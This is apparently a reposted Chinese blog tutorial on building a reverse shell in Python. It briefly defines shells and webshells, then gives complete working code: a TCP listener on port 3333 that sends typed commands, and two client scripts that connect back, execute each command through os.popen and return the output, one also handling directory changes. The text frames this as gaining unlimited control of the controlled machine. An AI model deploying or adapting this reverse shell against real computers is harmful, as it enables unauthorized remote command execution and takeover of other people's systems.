python实战之反弹shell远程控制

shell就是一个命令执行环境,在windows系统下可以认为shell就是cmd

webshell就是通过浏览器输入命令,在远程电脑上执行

反弹shell就是控制者作为服务器使用,被控制者作为客户端使用

python执行系统命令,os  subprocee

os.popen(command+” 2>&1”).read()   2>&1可以把出错信息解读出来

  1. 在控制者电脑上启动服务器程序,开放一个端口监听
  2. 被控制者启动客户端程序,与服务器的开放端口建立TCP连接
  3. 控制端发送指令到客户端
  4. 客户端执行指令并把执行结果送回控制端
  5. 重复3、4可以实现无限控制

 

  远程控制

  服务器

#远程控制服务器
import socket

s=socket.socket()
s.bind(('0.0.0.0',3333))
s.listen(1)
sock,addr=s.accept()
while 1:
    command=input("指令:")
    if command=="":
        break
    sock.send(command.encode())
    result=sock.recv(65536).decode()
    print(result)
sock.close()
s.close()

  客户端

#远程控制客户端
import socket
import os

s=socket.socket()
s.connect(("127.0.0.1",3333))
while 1:
    try:
        command=s.recv(1024).decode()
        result=os.popen(command+" 2>&1").read()
        if result=="":
            result="命令执行完毕!"
        cdir=os.getcwd()
        data=f"当前目录是{cdir}\n执行结果:{result}"
        s.send(data.encode())
    except:
        s.close()
        exit()

  远程控制客户端并且能切换目录

#远程控制客户端  带切换目录功能
import socket
import os

s=socket.socket()
s.connect(("127.0.0.1",3333))
while 1:
    try:
        command=s.recv(1024).decode()
        if command[:2]=="cd":
            newdir=command[2:].strip()
            if newdir:
                os.chdir(newdir)
        result=os.popen(command).read()
        if result=="":
            result="命令执行完毕!"
        cdir=os.getcwd()
        data=f"当前目录是{cdir}\n执行结果:{result}"
        s.send(data.encode())
    except:
        s.close()
        exit()

 

 

发布了66 篇原创文章 · 获赞 58 · 访问量 2440

猜你喜欢

转载自blog.csdn.net/qq_37077262/article/details/103948961